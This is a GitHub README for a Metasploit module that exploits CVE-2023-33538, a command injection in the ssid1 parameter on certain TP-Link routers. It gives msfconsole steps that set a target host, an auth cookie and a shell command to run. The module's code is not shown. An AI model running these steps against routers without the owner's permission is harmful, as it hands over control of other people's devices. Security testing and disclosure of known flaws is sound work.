mrowkoob/cve-2023-33538-msfCVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework
This Metasploit auxiliary module targets an authenticated command injection vulnerability in TP-Link TL-WR940N V2/V4 and TL-WR841N V8/V10 routers.
The issue lies in the vulnerable ssid1 parameter used in WlanNetworkRpm.htm, which allows injection of arbitrary shell commands.
When successful, it allows the attacker to execute arbitrary commands on the device.
More information about the CVE:
https://nvd.nist.gov/vuln/detail/CVE-2023-33538
.rb file into your Metasploit modules folder, for example:cp tplink_ssid1_rce.rb/usr/share/metasploit-framework/modules/auxiliary/admin/http/
msfconsole
search tplink
use auxiliary/admin/http/tplink_ssid1_rce
set RHOSTS 192.168.0.1
set RPORT 80
set AUTHCOOKIE Basic%20YWRtaW46YWRtaW4%3D
set SESSIONPATH /ABCD1234/
set CMD reboot
run
The module does not perform authentication. You must manually extract the
Authorizationcookie and session prefix from a successful login to the router's web interface.
This module is intended for educational purposes only.
Do not use this code against devices or infrastructure you do not own or have explicit permission to test.
If you find bugs, or have ideas for improvements – feel free to open an issue or leave a comment.